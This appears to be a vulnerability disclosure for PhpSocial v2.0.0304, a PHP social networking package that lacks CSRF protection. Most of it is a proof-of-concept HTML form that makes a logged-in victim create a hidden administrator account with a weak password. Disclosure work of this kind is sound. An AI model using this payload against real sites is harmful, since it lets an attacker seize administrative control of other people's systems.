Description

PhpSocial is a social networking software written in PHP. In version v2.0.0304,
it does not have CSRF protection, which means that an attacker can perform
actions for a victim, if the victim visits an attacker controlled site while
logged in.

3. Proof of Concept

Add a new admin:


<html>
  <body>
    <form action="http://localhost/PhpSocial_v2.0.0304_20222226/cms_phpsocial/admin/AdminAddViewadmins.php" method="POST">
      <input type="hidden" name="admin_username" value="admin2" />
      <input type="hidden" name="admin_password" value="admin" />
      <input type="hidden" name="admin_password_confirm" value="admin" />
      <input type="hidden" name="admin_name" value="admin2" />
      <input type="hidden" name="admin_email" value="admin2@example.com" />
      <input type="hidden" name="task" value="addadmin" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
